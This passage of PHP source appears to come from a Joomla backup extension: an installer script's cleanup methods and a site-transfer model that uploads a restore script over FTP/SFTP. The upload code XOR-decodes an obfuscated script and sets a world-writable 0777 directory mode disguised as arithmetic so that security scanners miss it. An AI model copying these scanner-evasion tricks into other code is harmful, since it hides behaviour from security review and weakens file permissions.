	 * listed in the XML manifest. Any folders and files deeper than that will not be removed automatically.
	 *
	 * @return  void
	 * @noinspection PhpUnused
	 */
	protected function removeObsoleteFiles(): void
	{
		// We will definitely remove REMOVE_FROM_ALL_VERSIONS in all versions
		$removeSource = self::REMOVE_FROM_ALL_VERSIONS;
		$isPro        = $isPro ?? $this->isPro();

		if (!$isPro)
		{
			$removeSource['files']   = array_merge($removeSource['files'], self::REMOVE_FROM_CORE['files']);
			$removeSource['folders'] = array_merge($removeSource['folders'], self::REMOVE_FROM_CORE['folders']);
		}

		// Remove files
		foreach ($removeSource['files'] as $file)
		{
			if (!is_file($file))
			{
				continue;
			}

			try
			{
				File::delete($file);
			}
			catch (\Exception $e)
			{
				// Swallow.
			}
		}

		// Remove folders
		foreach ($removeSource['folders'] as $folder)
		{
			$this->deleteFolder($folder);
		}
	}

	/**
	 * Uninstalls the extensions which are marked as always to be uninstalled.
	 *
	 * @return  void
	 * @noinspection PhpUnused
	 */
	protected function uninstallExtensions(): void
	{
		// Tell Joomla to uninstall the extensions always meant to be removed.
		foreach (self::REMOVE_EXTENSIONS as $extension)
		{
			$this->uninstallExtension($extension);
		}
	}

	/**
	 * Uninstalls Pro-only extensions from the Core version of the package.
	 *
	 * @return  void
	 * @noinspection PhpUnused
	 */
	protected function uninstallProExtensions(): void
	{
		// If it's the Pro version we don't uninstall anything.
		if ($this->isPro())
		{
			return;
		}

		// Tell Joomla to uninstall the Pro-only extensions.
		foreach (self::PRO_ONLY_EXTENSIONS as $extension)
		{
			$this->uninstallExtension($extension);
		}
	}

	private function deleteFolder(string $path): bool
	{
		// If the folder does not exist in the requested form return early.
		$hasMixedCase = is_dir($path);

		if (!$hasMixedCase)
		{
			return false;
		}

		// If the folder is all lowercase return early.
		$baseName          = basename($path);
		$lowercaseBaseName = strtolower($baseName);

		if ($baseName === $lowercaseBaseName)
		{
			try
			{
				return $hasMixedCase && Folder::delete($path);
			}
			catch (\Exception $e)
			{
				return false;
			}
		}

		// We have a mixed case folder. Further investigation necessary.
		$altPath      = dirname($path) . '/' . $lowercaseBaseName;
		$hasLowercase = is_dir($altPath);

		// If the lowercase path does not exist we have a case-sensitive filesystem. Return early.
		if (!$hasLowercase)
		{
			try
			{
				return $hasMixedCase && Folder::delete($path);
			}
			catch (\Exception $e)
			{
				return false;
			}
		}

		// Both folders exist. Are they the same?
		$testBasename      = UserHelper::genRandomPassword(8) . '.dat';
		$data              = UserHelper::genRandomPassword(32);
		$lowercaseTestFile = $altPath . '/' . $testBasename;
		$uppercaseTestFile = $path . '/' . $testBasename;

		try
		{
			File::write($lowercaseTestFile, $data);
		}
		catch (\Exception $e)
		{
			// Swallow.
		}

		$readData = file_get_contents($uppercaseTestFile);

		try
		{
			File::delete($lowercaseTestFile);
		}
		catch (\Exception $e)
		{
			// Swallow.
		}

		// The two folders are different. We have a case-sensitive filesystem. Proceed with deletion.
		if ($readData !== $data)
		{
			try
			{
				return Folder::delete($path);
			}
			catch (\Exception $e)
			{
				return false;
			}
		}

		/**
		 * The two folders are identical.
		 *
		 * It is impossible to know if the folder is written on disk as lowercase or mixed case. We must rename it to
		 * all lowercase. If we don't, moving the site to a case-sensitive filesystem will break it (the folder will be
		 * in the wrong case!). Therefore we have to do a two-step process to effect the rename on a case-insensitive
		 * filesystem...
		 */
		$intermediateBasename = $lowercaseBaseName . '_' . UserHelper::genRandomPassword(8);
		$intermediatePath     = dirname($path) . '/' . $intermediateBasename;

		try
		{
			Folder::move($path, $intermediatePath);
			Folder::move($intermediatePath, $altPath);
		}
		catch (\Exception $e)
		{
			return false;
		}

		return false;
	}

	/**
	 * Runs a method inside a try/catch block to suppress any errors
	 *
	 * @param   string[]  $methodNames  The method name to run
	 *
	 * @return  void
	 */
	private function runIsolated(array $methodNames): void
	{
		foreach ($methodNames as $methodName)
		{
			try
			{
				$this->{$methodName}();
			}
			catch (Throwable $e)
			{
				// No problem, let's move on.
			}
		}
	}

	/**
	 * Does the old package even exist?
	 *
	 * @return   bool
	 */
	private function hasOldPackage(): bool
	{
		if (empty(self::OLD_PACKAGE_NAME))
		{
			return false;
		}

		$eid = $this->getExtensionId(self::OLD_PACKAGE_NAME);

		return !empty($eid);
	}

	/**
	 * Reassign the extensions to the new package.
	 *
	 * This modifies the package_id column of the #__extensions table for the records of the records defined in
	 * $this->extensionsList. Since these are shared between the old and new packages we need to change their package ID
	 * to the new package's ID. Otherwise Joomla might be confused as to which package "owns" them.
	 *
	 * @return  void
	 */
	private function reassignExtensions(): void
	{
		// Get the extension ID of the new package
		$newPackageId = $this->getExtensionId(self::PACKAGE_NAME);

		if (empty($newPackageId))
		{
			return;
		}

		// Get the extension IDs
		$extensionIDs = array_map([$this, 'getExtensionId'], $this->extensionsList);
		$extensionIDs = array_filter($extensionIDs, function ($x) {
			return !empty($x);
		});

		if (empty($extensionIDs))
		{
			return;
		}

		/**
		 * Looks stupid? This realigns the integer keys because whereIn() expects 0-based, monotonically increasing
		 * array keys. Otherwise it ends up emitting null values. GROAN!
		 */
		$extensionIDs = array_merge($extensionIDs);

		// Reassign all extensions
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->update($db->quoteName('#__extensions'))
		            ->set($db->qn('package_id') . ' = :package_id')
		            ->whereIn($db->qn('extension_id'), $extensionIDs, ParameterType::INTEGER)
		            ->bind(':package_id', $newPackageId, ParameterType::INTEGER);
		$db->setQuery($query)->execute();
	}

	/**
	 * Unregisters a list of extensions from being marked as dependent on the specified FOF version.
	 *
	 * @param   string  $fofVersion  PHP version to unregister the extensions from
	 *
	 * @return  void
	 */
	private function unregisterFromFOF($fofVersion = '3')
	{
		// Make sure we have an extensions list and it's canonical (admin modules have mod_ prefix, not amod_).
		$extensions = $this->extensionsList;
		$extensions = array_map(function ($name) {
			if (substr($name, 0, 5) == 'amod_')
			{
				$name = 'mod_' . substr($name, 5);
			}

			return $name;
		}, $extensions);

		// Get the existing list of extensions dependent on the specified version of FOF.
		$keyName = 'fof' . $fofVersion . '0';
		$db      = $this->getDatabase();
		$query   = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		              ->select($db->quoteName('value'))
		              ->from($db->quoteName('#__akeeba_common'))
		              ->where($db->quoteName('key') . ' = :keyName')
		              ->bind(':keyName', $keyName);
		try
		{
			$json = $db->setQuery($query)->loadResult();
			$list = ($json === null) ? [] : json_decode($json, true);
		}
		catch (RuntimeException $e)
		{
			return;
		}

		// If the list is empty I am already done.
		if (is_null($list) || !is_array($list))
		{
			return;
		}

		// Remove the common extensions which no longer depend on FOF.
		$list = array_diff($list, $extensions);
		$json = json_encode($list);

		// Update the #__akeeba_common table.
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->update($db->quoteName('#__akeeba_common'))
		            ->set($db->quoteName('value') . ' = :json')
		            ->where($db->quoteName('key') . ' = :keyName')
		            ->bind(':json', $json)
		            ->bind(':keyName', $keyName);

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			return;
		}
	}

	/**
	 * Removes the common extensions from old package's cached manifest.
	 *
	 * This prevents Joomla from uninstalling modules, plugins etc which are nominally included in both packages when
	 * you uninstall the old package.
	 *
	 * @return  void
	 */
	private function removeExtensionsFromPackageManifest(): void
	{
		// Make sure we have an old package and a list of extensions
		$oldPackage = self::OLD_PACKAGE_NAME;
		$extensions = $this->extensionsList;

		if (empty($oldPackage) || empty($extensions))
		{
			return;
		}

		// Get the cached manifest as a SimpleXMLElement node
		$xml = $this->getPackageXMLManifest($oldPackage);

		if (is_null($xml))
		{
			return;
		}

		// Walk through all the <file> tags and remove the extensions in the $extensions list
		foreach ($xml->xpath('//files/file') as $fileField)
		{
			$extension = $this->xmlNodeToExtensionName($fileField);

			if (is_null($extension) || !in_array($extension, $extensions))
			{
				continue;
			}

			unset($fileField[0][0]);
		}

		// Save the modified manifest back to the package manifests cache.
		$filePath = $this->getCachedManifestPath($oldPackage);
		$contents = $xml->asXML();

		@file_put_contents($filePath, $contents);
	}

	/**
	 * Gets a SimpleXMLElement representation of the cached manifest of the extension.
	 *
	 * @param   string  $package
	 *
	 * @return  SimpleXMLElement|null
	 */
	private function getPackageXMLManifest(string $package): ?SimpleXMLElement
	{
		$filePath = $this->getCachedManifestPath($package);

		if (!@file_exists($filePath) || !@is_readable($filePath))
		{
			return null;
		}

		$xmlContent = @file_get_contents($filePath);

		if (empty($xmlContent))
		{
			return null;
		}

		return new SimpleXMLElement($xmlContent);
	}

	/**
	 * Get the list of extensions included in a package
	 *
	 * @param   string  $package
	 *
	 * @return  array
	 */
	private function getExtensionsFromPackage(string $package): array
	{
		$extensions = [];
		$xml        = $this->getPackageXMLManifest($package);

		if (is_null($xml))
		{
			return $extensions;
		}

		foreach ($xml->xpath('//files/file') as $fileField)
		{
			$extension = $this->xmlNodeToExtensionName($fileField);

			if (is_null($extension))
			{
				continue;
			}

			$extensions[] = $extension;
		}

		return $extensions;
	}

	/**
	 * Take a SimpleXMLElement `<file>` node of the package manifest and return the corresponding Joomla extension name
	 *
	 * @param   SimpleXMLElement  $fileField  The `<file>` node of the package manifest
	 *
	 * @return  string|null  The extension name, null if it cannot be determined.
	 */
	private function xmlNodeToExtensionName(SimpleXMLElement $fileField): ?string
	{
		$type = (string) $fileField->attributes()->type;
		$id   = (string) $fileField->attributes()->id;

		switch ($type)
		{
			case 'component':
			case 'file':
			case 'library':
				$extension = $id;
				break;

			case 'plugin':
				$group     = (string) $fileField->attributes()->group ?? 'system';
				$extension = 'plg_' . $group . '_' . $id;
				break;

			case 'module':
				$client    = (string) $fileField->attributes()->client ?? 'site';
				$extension = (($client != 'site') ? 'a' : '') . $id;
				break;

			default:
				$extension = null;
				break;
		}

		return $extension;
	}

	/**
	 * Convert a Joomla extension name to `#__extensions` table query criteria.
	 *
	 * The following kinds of extensions are supported:
	 * * `pkg_something` Package type extension
	 * * `com_something` Component
	 * * `plg_folder_something` Plugins
	 * * `mod_something` Site modules
	 * * `amod_something` Administrator modules. THIS IS CUSTOM.
	 * * `file_something` File type extension
	 * * `lib_something` Library type extension
	 *
	 * @param   string  $extensionName
	 *
	 * @return  string[]
	 */
	private function extensionNameToCriteria(string $extensionName): array
	{
		$parts = explode('_', $extensionName, 3);

		switch ($parts[0])
		{
			case 'pkg':
				return [
					'type'    => 'package',
					'element' => $extensionName,
				];

			case 'com':
				return [
					'type'    => 'component',
					'element' => $extensionName,
				];

			case 'plg':
				return [
					'type'    => 'plugin',
					'folder'  => $parts[1],
					'element' => $parts[2],
				];

			case 'mod':
				return [
					'type'      => 'module',
					'element'   => $extensionName,
					'client_id' => 0,
				];

			// That's how we note admin modules
			case 'amod':
				return [
					'type'      => 'module',
					'element'   => substr($extensionName, 1),
					'client_id' => 1,
				];

			case 'file':
				return [
					'type'    => 'file',
					'element' => $extensionName,
				];

			case 'lib':
				return [
					'type'    => 'library',
					'element' => $parts[1],
				];
		}

		return [];
	}

	/**
	 * Get the absolute filesystem path
	 *
	 * @param   string  $package
	 *
	 * @return  string
	 */
	private function getCachedManifestPath(string $package): string
	{
		return JPATH_MANIFESTS . '/packages/' . $package . '.xml';
	}

	/**
	 * Is this the Pro version?
	 *
	 * This is determined by examining the constants, files and folders defined in self::PRO_CRITERIA
	 *
	 * @return  bool
	 * @see     self::PRO_CRITERIA
	 */
	private function isPro(): bool
	{
		if (empty(self::PRO_CRITERIA))
		{
			return false;
		}

		foreach (self::PRO_CRITERIA as $criterion)
		{
			[$type, $value] = $criterion;

			switch ($type)
			{
				case 'const':
				case 'constant':
					if (!defined($value))
					{
						continue 2;
					}

					if (constant($value))
					{
						return true;
					}

					break;

				case 'folder':
					if (@file_exists($value) && @is_dir($value))
					{
						return true;
					}
					break;

				case 'file':
					if (@file_exists($value) && @is_file($value))
					{
						return true;
					}
					break;

				default:
					continue 2;
			}
		}

		return false;
	}

	/**
	 * Uninstall an extension by name.
	 *
	 * @param   string  $extension
	 *
	 * @return  bool
	 */
	private function uninstallExtension(string $extension): bool
	{
		// Let's get the extension ID. If it's not there we can't uninstall this extension, right..?
		$eid = $this->getExtensionId($extension);

		if (empty($eid))
		{
			return false;
		}

		// Extensions must be marked as not belonging to the package before they can be removed
		$this->removeExtensionPackageLink($eid);

		// Get an Extension table object and Installer object.
		$row       = new Extension($this->getDatabase());
		$installer = Installer::getInstance();

		// Load the extension row or fail the uninstallation immediately.
		try
		{
			if (!$row->load($eid))
			{
				return false;
			}
		}
		catch (Throwable $e)
		{
			// If the database query fails or Joomla experiences an unplanned rapid deconstruction let's bail out.
			return false;
		}

		// Can't uninstalled protected extensions
		/** @noinspection PhpUndefinedFieldInspection */
		if ((int) $row->locked === 1)
		{
			return false;
		}

		// An extension row without a type? What have you done to your database, you MONSTER?!
		if (empty($row->type))
		{
			return false;
		}

		// Do the actual uninstallation. Try to trap any errors, just in case...
		try
		{
			return $installer->uninstall($row->type, $eid);
		}
		catch (Throwable $e)
		{
			return false;
		}
	}

	/**
	 * Loads any custom handlers.
	 *
	 * @return  void
	 */
	private function loadCustomHandlers(): void
	{
		$handlerNamespace = __NAMESPACE__ . '\\' . self::CUSTOM_HANDLERS_DIRECTORY;

		$this->customHandlers = [];

		// Scan the directory and load the custom handlers
		$targetDirectory = __DIR__ . '/' . self::CUSTOM_HANDLERS_DIRECTORY;

		if (!@file_exists($targetDirectory) || !@is_dir($targetDirectory))
		{
			return;
		}

		$di = new DirectoryIterator($targetDirectory);

		/** @var DirectoryIterator $entry */
		foreach ($di as $entry)
		{
			// Ignore folders
			if ($entry->isDot() || $entry->isDir())
			{
				continue;
			}

			// Ignore non-PHP directories
			if ($entry->getExtension() != 'php')
			{
				continue;
			}

			// Get the class name
			$bareName          = basename($entry->getFilename(), '.php');
			$bareNameCanonical = preg_replace('/[^A-Z_]/i', '', $bareName);

			/**
			 * Some hosts rename files with numeric suffixes, e.g. FooBar.php is renamed to FooBar.01.php. In both cases
			 * the bare class name would be "FooBar" but the canonical would be "FooBar" vs "FooBar.01". This check
			 * makes sure that renamed files will NOT be loaded. Ever.
			 */
			if ($bareName != $bareNameCanonical)
			{
				continue;
			}

			// Have I already loaded an object this class? Yeah, sometimes hosts do weird(er) things.
			if (array_key_exists($bareNameCanonical, $this->customHandlers))
			{
				continue;
			}

			// Try to load the file
			require_once $entry->getPathname();

			// Make sure we actually loaded a class I can use
			$classFQN = $handlerNamespace . '\\' . $bareNameCanonical;

			if (!class_exists($classFQN, false))
			{
				continue;
			}

			// Add the custom handler, passing a reference to ourselves
			$this->customHandlers[$bareNameCanonical] = new $classFQN($this, $this->getDatabase());
		}
	}

	/**
	 * Are the old and new packages identical?
	 *
	 * Also returns true if no OLD_PACKAGE_NAME has been specified.
	 *
	 * @return  bool
	 */
	private function isSamePackage(): bool
	{
		return empty(self::OLD_PACKAGE_NAME) || (self::OLD_PACKAGE_NAME === self::PACKAGE_NAME);
	}

	private function removeExtensionPackageLink(int $eid): void
	{
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('package_id') . ' = 0')
			->where($db->quoteName('extension_id') . ' = :eid')
			->bind(':eid', $eid, ParameterType::INTEGER);
		$db->setQuery($query)->execute();
	}
}PK     \$v      src/Model/TransferModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions\TransferFatalError;
use Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions\TransferIgnorableError;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticsModel as Statistics;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\RandomValue;
use Akeeba\Engine\Util\Transfer\Ftp;
use Akeeba\Engine\Util\Transfer\FtpCurl;
use Akeeba\Engine\Util\Transfer\Sftp;
use Akeeba\Engine\Util\Transfer\SftpCurl;
use Akeeba\Engine\Util\Transfer\TransferInterface;
use Countable;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserHelper;
use Joomla\Filesystem\File;
use Joomla\Http\HttpFactory;
use Joomla\Session\SessionInterface;
use RuntimeException;

#[\AllowDynamicProperties]
class TransferModel extends BaseDatabaseModel
{
	use ProxyAware;

	/**
	 * Caches the domain names and whether they can be resolved by DNS
	 *
	 * @var   array
	 * @since 9.2.2
	 */
	private static $domainResolvable = [];

	/**
	 * Joomla session object
	 *
	 * @var SessionInterface
	 */
	protected $session;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		parent::__construct($config, $factory);

		/** @var CMSApplication $app */
		$app           = JoomlaFactory::getApplication();
		$this->session = $app->getSession();
	}


	/**
	 * Get the information for the latest backup
	 *
	 * @param   $profileID  int|null  The profile ID for which to get the latest backup. Set to null to search all
	 *                      profiles.
	 *
	 * @return  array|null  An array of backup record information or null if there is no usable backup for site
	 *                      transfer
	 * @throws  Exception
	 */
	public function getLatestBackupInformation(?int $profileID = null): ?array
	{
		// Initialise
		$db = $this->getDatabase();

		/** @var Statistics $model */
		$model = $this->getMVCFactory()->createModel('Statistics', 'Administrator', ['ignore_request' => 1]);
		$model->setState('list.start', 0);
		$model->setState('list.limit', 1);

		$filters = null;

		if ($profileID > 0)
		{
			$filters = [
				[
					'field'   => 'profile_id',
					'operand' => '=',
					'value'   => $profileID,
				],
			];
		}

		$backups = $model->getStatisticsListWithMeta(false, $filters, $db->qn('id') . ' DESC');

		// No valid backups? No joy.
		if (empty($backups))
		{
			return null;
		}

		// Get the latest backup
		$backup = array_shift($backups);

		// If it's not stored on the server (e.g. remote backup), no joy.
		if ($backup['meta'] != 'ok')
		{
			return null;
		}

		// If it's not a full site backup, no joy.
		if ($backup['type'] != 'full')
		{
			return null;
		}

		return $backup;
	}

	/**
	 * Get the information for a specific backup record, given its ID.
	 *
	 * Unlike getLatestBackupInformation(), this does not care about the backup's age. However, the backup archive files
	 * must still be present on the server (we can't transfer files we don't have!) and the backup must be a full site
	 * backup.
	 *
	 * @param   int  $backupID  The backup record ID to retrieve.
	 *
	 * @return  array|null  An array of backup record information or null if it cannot be used for site transfer.
	 * @throws  Exception
	 * @since   10.3.6
	 */
	public function getBackupInformationById(int $backupID): ?array
	{
		// Initialise
		$db = $this->getDatabase();

		/** @var Statistics $model */
		$model = $this->getMVCFactory()->createModel('Statistics', 'Administrator', ['ignore_request' => 1]);
		$model->setState('list.start', 0);
		$model->setState('list.limit', 1);

		$filters = [
			[
				'field'   => 'id',
				'operand' => '=',
				'value'   => $backupID,
			],
		];

		$backups = $model->getStatisticsListWithMeta(false, $filters, $db->qn('id') . ' DESC');

		// No such backup? No joy.
		if (empty($backups))
		{
			return null;
		}

		$backup = array_shift($backups);

		// If its archive files are not present on the server, no joy.
		if ($backup['meta'] != 'ok')
		{
			return null;
		}

		// If it's not a full site backup, no joy.
		if ($backup['type'] != 'full')
		{
			return null;
		}

		return $backup;
	}

	/**
	 * Get the information for the backup the Site Transfer Wizard should use.
	 *
	 * If a specific backup record ID has been selected (e.g. from the Manage Backups page) it returns that record's
	 * information, ignoring its age. Otherwise it falls back to the latest usable backup.
	 *
	 * @return  array|null  An array of backup record information or null if there is no usable backup for site transfer.
	 * @throws  Exception
	 * @since   10.3.6
	 */
	public function getTransferBackupInformation(): ?array
	{
		$backupID = (int) $this->session->get('akeebabackup.transfer.backupId', 0);

		if ($backupID > 0)
		{
			return $this->getBackupInformationById($backupID);
		}

		return $this->getLatestBackupInformation();
	}

	/**
	 * Returns the amount of space required on the target server. The two array keys are
	 * size        In bytes
	 * string    Pretty formatted, user-friendly string
	 *
	 * @return  array
	 * @throws  Exception
	 */
	public function getApproximateSpaceRequired(): array
	{
		$backup = $this->getTransferBackupInformation();

		if (is_null($backup))
		{
			return [
				'size'   => 0,
				'string' => '0.00 KB',
			];
		}

		$approximateSize = 2.5 * (float) $backup['size'];

		$unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB'];

		return [
			'size'   => $approximateSize,
			'string' => @round($approximateSize / (1024 ** ($i = floor(log($approximateSize, 1024)))), 2) . ' '
			            . $unit[$i],
		];
	}

	/**
	 * Cleans up a URL and makes sure it is a valid-looking URL
	 *
	 * @param   string  $url  The URL to check
	 *
	 * @return  array  status [ok, invalid, same, notexists] (check status); url (the cleaned URL)
	 */
	public function checkAndCleanUrl(string $url): array
	{
		$url = trim($url);

		// Initialise
		$result = [
			'status' => 'ok',
			'url'    => $url,
		];

		// Am I missing the protocol?
		if (strpos($url, '://') === false)
		{
			$url = 'http://' . $url;
		}

		$result['url'] = $url;

		// Verify that it is an HTTP or HTTPS URL.
		$uri      = Uri::getInstance($url);
		$protocol = $uri->getScheme();

		if (!in_array($protocol, ['http', 'https']))
		{
			$result['status'] = 'invalid';

			return $result;
		}

		// Verify we are not restoring to the same site we are backing up from
		$path = $this->simplifyPath($uri->getPath() ?? '');
		$uri->setPath('/' . $path);

		$siteUri = Uri::getInstance();

		if ($siteUri->getHost() == $uri->getHost())
		{
			$sitePath = $this->simplifyPath($siteUri->getPath());

			if ($sitePath == $path)
			{
				$result['status'] = 'same';

				return $result;
			}
		}

		$result['url'] = $uri->toString(['scheme', 'user', 'pass', 'host', 'port', 'path']);

		// Verify we can reach the domain. Since it can be an IP we check both name to IP and IP to name.
		$host = $uri->getHost();

		if (function_exists('idn_to_ascii'))
		{
			$host = idn_to_ascii($host);
		}

		$isValid = ($siteUri->getHost() == $uri->getHost()) || ($host == 'localhost') || ($host == '127.0.0.1')
		           || (($host !== false) && checkdnsrr($host, 'A'));

		// Sometimes we have a domain name without a DNS record which *can* be accessed locally, e.g. through the hosts
		// file. We have to cater for that, just in case...
		if (!$isValid)
		{

			try
			{
				$http    = (new HttpFactory())->getHttp();
				$dummy   = $http->get($uri->toString(), [], 5);
				$isValid = ($dummy->getStatusCode() >= 100) && ($dummy->getStatusCode() < 400);
			}
			catch (Exception $e)
			{
				// Nope.
			}
		}

		// Sometimes just the SSL certificate is wrong. Let's give it a go.
		if (!$isValid)
		{
			$dummy = $this->httpGet($uri->toString(), [], 5);

			$isValid = !empty($dummy);
		}

		if (!$isValid)
		{
			$result['status'] = 'notexists';

			return $result;
		}

		// All checks pass
		return $result;
	}

	/**
	 * Determines the status of FTP, FTPS and SFTP support. The returned array has two keys 'supported' and 'firewalled'
	 * each one being an array. You want the protocol to has its 'supported' value set to true and its 'firewalled'
	 * value set to false. This would mean that the server supports this protocol AND does not block outbound
	 * connections over this protocol.
	 *
	 * @return array
	 */
	public function getFTPSupport(): array
	{
		// Initialise
		$result = [
			'supported'  => [
				'ftpcurl'  => false,
				'ftpscurl' => false,
				'sftpcurl' => false,
				'ftp'      => false,
				'ftps'     => false,
				'sftp'     => false,
			],
			'firewalled' => [
				'ftpcurl'  => false,
				'ftpscurl' => false,
				'sftpcurl' => false,
				'ftp'      => false,
				'ftps'     => false,
				'sftp'     => false,
			],
		];

		// Necessary functions for each connection method
		$supportChecks = [
			'ftpcurl'  => ['curl_init', 'curl_exec', 'curl_setopt', 'curl_errno', 'curl_error'],
			'ftpscurl' => ['curl_init', 'curl_exec', 'curl_setopt', 'curl_errno', 'curl_error'],
			'sftpcurl' => ['curl_init', 'curl_exec', 'curl_setopt', 'curl_errno', 'curl_error'],
			'ftp'      => [
				'ftp_connect',
				'ftp_login',
				'ftp_close',
				'ftp_chdir',
				'ftp_mkdir',
				'ftp_pasv',
				'ftp_put',
				'ftp_delete',
			],
			'ftps'     => [
				'ftp_ssl_connect',
				'ftp_login',
				'ftp_close',
				'ftp_chdir',
				'ftp_mkdir',
				'ftp_pasv',
				'ftp_put',
				'ftp_delete',
			],
			'sftp'     => [
				'ssh2_connect',
				'ssh2_auth_password',
				'ssh2_auth_pubkey_file',
				'ssh2_sftp',
				'ssh2_exec',
				'ssh2_sftp_unlink',
				'ssh2_sftp_stat',
				'ssh2_sftp_mkdir',
			],
		];

		// Determine which connection methods are supported
		$supported = [];

		foreach ($supportChecks as $protocol => $functions)
		{
			$supported[$protocol] = true;

			foreach ($functions as $function)
			{
				if (!function_exists($function))
				{
					$supported[$protocol] = false;

					break;
				}
			}
		}

		$result['supported'] = $supported;

		// We no longer check for firewall settings. The 3PD test server got clogged :(

		/**
		 * $result['firewalled'] = array(
		 * 'ftp'      => !$result['supported']['ftp'] ? false : EngineTransfer\Ftp::isFirewalled(),
		 * 'ftpcurl'  => !$result['supported']['ftp'] ? false : EngineTransfer\FtpCurl::isFirewalled(),
		 * 'ftps'     => !$result['supported']['ftps'] ? false : EngineTransfer\Ftp::isFirewalled(['ssl' => true]),
		 * 'ftpscurl' => !$result['supported']['ftp'] ? false : EngineTransfer\FtpCurl::isFirewalled(['ssl' => true]),
		 * 'sftp'     => !$result['supported']['sftp'] ? false : EngineTransfer\Sftp::isFirewalled(),
		 * 'sftpcurl' => !$result['supported']['sftp'] ? false : EngineTransfer\SftpCurl::isFirewalled(),
		 * );
		 * /**/

		return $result;
	}

	/**
	 * Checks the FTP connection parameters
	 *
	 * @param   array  $config  FTP/SFTP connection details
	 *
	 * @throws  RuntimeException
	 */
	public function testConnection(array $config)
	{
		$connector = $this->getConnector($config);

		// Is it the same site we are restoring from? It is if the configuration.php exists and has the same contents as
		// the one I read from our server.
		$this->checkIfSameSite($connector);

		// Only perform those checks if I'm not forcing the transfer
		if (!$config['force'])
		{
			// Check if there's a special file in this directory, e.g. .htaccess, php.ini, .user.ini or web.config.
			$this->checkIfHasSpecialFile($connector);

			// Check if there's another site present in this directory
			$this->checkIfExistingSite($connector);
		}

		// Does it match the URL to the site?
		$this->checkIfMatchesUrl($connector);
	}

	/**
	 * Upload Kickstart, our extra script and check that the target server fullfills our criteria
	 *
	 * @param   array  $config  FTP/SFTP connection details
	 *
	 * @throws  Exception
	 */
	public function initialiseUpload(array $config)
	{
		$connector    = $this->getConnector($config);
		$randomPrefix = $this->session->get('akeebabackup.transfer.randomName', 'kickstart');

		// XOR-decode Kickstart from obfuscated on-disk storage into a temporary plain-text file for upload
		$xorKey       = 'ThisIsKickstartCoreWhichIsNotMaliciousYouCanDownloadItFromAkeebaDotComIfYouWant';
		$encoded      = file_get_contents(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/kickstart.dat');
		$fullKey      = str_repeat($xorKey, (int) ceil(strlen($encoded) / strlen($xorKey)));
		$kickstartTemp = tempnam(sys_get_temp_dir(), 'ksdat_');
		file_put_contents($kickstartTemp, $encoded ^ substr($fullKey, 0, strlen($encoded)));

		// Can I upload Kickstart and my extra script?
		$files = [
			$kickstartTemp
			=> $randomPrefix . '.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/kickstart.transfer.php'
			=> $randomPrefix . '.transfer.php',
		];

		$createdFiles    = [];
		$transferredSize = 0;
		$transferTime    = 0;

		try
		{
			foreach ($files as $localFile => $remoteFile)
			{
				$start = microtime(true);
				$connector->upload($localFile, $connector->getPath($remoteFile));
				$end             = microtime(true);
				$createdFiles[]  = $remoteFile;
				$transferredSize += filesize($localFile);
				$transferTime    += $end - $start;
			}
		}
		catch (Exception $e)
		{
			// An upload failed. Remove existing files.
			$this->removeRemoteFiles($connector, $createdFiles, true);

			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART'));
		}
		finally
		{
			@unlink($kickstartTemp);
		}

		// Get the transfer speed between the two servers in bytes / second
		$transferSpeed = $transferredSize / $transferTime;

		try
		{
			$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
			$connector->mkdir($connector->getPath('kicktemp'), $trustMeIKnowWhatImDoing);
		}
		catch (Exception $e)
		{
			// Don't sweat if we can't create our temporary directory.
		}

		// Can I run Kickstart and my extra script?
		try
		{
			$this->checkRemoteServerEnvironment($config['force']);
		}
		catch (Exception $e)
		{
			$this->removeRemoteFiles($connector, $createdFiles, true);

			throw $e;
		}

		// Get the lowest maximum execution time between our local and remote server
		$remoteTimeout = $this->session->get('akeebabackup.transfer.remoteTimeLimit', 5);
		$localTimeout  = 5;

		if (function_exists('ini_get'))
		{
			$localTimeout = ini_get("max_execution_time");
		}

		$timeout = min($localTimeout, $remoteTimeout);

		if ($localTimeout == 0)
		{
			$timeout = $remoteTimeout;
		}
		elseif ($remoteTimeout == 0)
		{
			$timeout = $localTimeout;
		}

		if ($timeout == 0)
		{
			$timeout = 5;
		}

		// Get the maximum transfer size, rounded down to 512K
		$maxTransferSize = $transferSpeed * $timeout;
		$maxTransferSize = floor($maxTransferSize / 524288) * 524288;

		if ($maxTransferSize == 0)
		{
			$maxTransferSize = 524288;
		}

		/**
		 * We never go above a maximum transfer size that depends on the server memory setting and the maximum remote
		 * upload size (minus 10Kb for overhead data)
		 */
		// Maximum chunk size determined by local server's memory constraints
		$chunkSizeLimit = $this->getMaxChunkSize();
		// Chunk size selected by the user
		$userUploadLimit = $this->session->get('akeebabackup.transfer.chunkSize', 5242880) - 10240;
		// Maximum chunk size determined by the remote server
		$maxUploadLimit = $this->session->get('akeebabackup.transfer.uploadLimit', 5242880) - 10240;
